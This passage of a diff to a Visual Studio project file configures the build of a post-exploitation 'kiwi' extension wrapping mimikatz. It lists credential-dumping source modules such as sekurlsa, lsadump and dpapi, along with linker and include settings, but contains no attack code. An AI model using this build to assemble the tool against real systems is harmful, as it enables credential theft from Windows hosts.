<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;netapi32.min.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\mimikatz\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
@ -261,7 +261,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile>
<Optimization>MinSpace</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -281,9 +281,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;netapi32.min.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\mimikatz\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
@ -324,107 +324,177 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ProjectReference>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\kiwi\debug.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\main.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz_interface.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_pac.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_struct.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_ticket.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_crypto.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_event.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump_struct.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc_struct.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_net.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_privilege.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_process.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_service.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_standard.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_token.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_ts.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_vault.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\globals_sekurlsa.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_asn1.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_crypto_system.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_file.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_handle.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_memory.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_minidump.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_net.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_output.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_patch.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_process.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_registry.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_registry_structures.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_rpce.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_samlib.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_service.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_string.h" />
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_token.h" />
<ClCompile Include="..\..\source\extensions\kiwi\main.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\mimikatz.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi_oe.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_chrome.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_creds.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_keys.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_wlan.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ccache.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_pac.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ticket.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_busylight.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_crypto.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_event.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_iis.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_kernel.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump_remote.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_minesweeper.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_misc.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_net.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_privilege.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_process.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service_remote.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sid.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_standard.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sysenvvalue.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_token.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_ts.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_vault.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_asn1.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_cred.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_dpapi.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_file.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_handle.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_kernel.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_key.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_memory.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_minidump.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_net.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_output.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_patch.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_process.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_remotelib.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_service.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_string.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_token.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_xml.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_bkrp.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_dpapi-entries.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_drsr.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-bkrp_c.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-credentialkeys.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-drsr_c.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-pac.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sqlite3_omit.c">
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">_CRT_SECURE_NO_WARNINGS;SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">_CRT_SECURE_NO_WARNINGS;SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">_CRT_SECURE_NO_WARNINGS;SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">_CRT_SECURE_NO_WARNINGS;SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<WarningLevel Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">Level2</WarningLevel>
<TreatWarningAsError Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">false</TreatWarningAsError>
<WarningLevel Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Level2</WarningLevel>
<TreatWarningAsError Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</TreatWarningAsError>
<WarningLevel Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">Level2</WarningLevel>
<TreatWarningAsError Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">false</TreatWarningAsError>
<WarningLevel Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Level2</WarningLevel>
<TreatWarningAsError Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</TreatWarningAsError>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\main.c" />
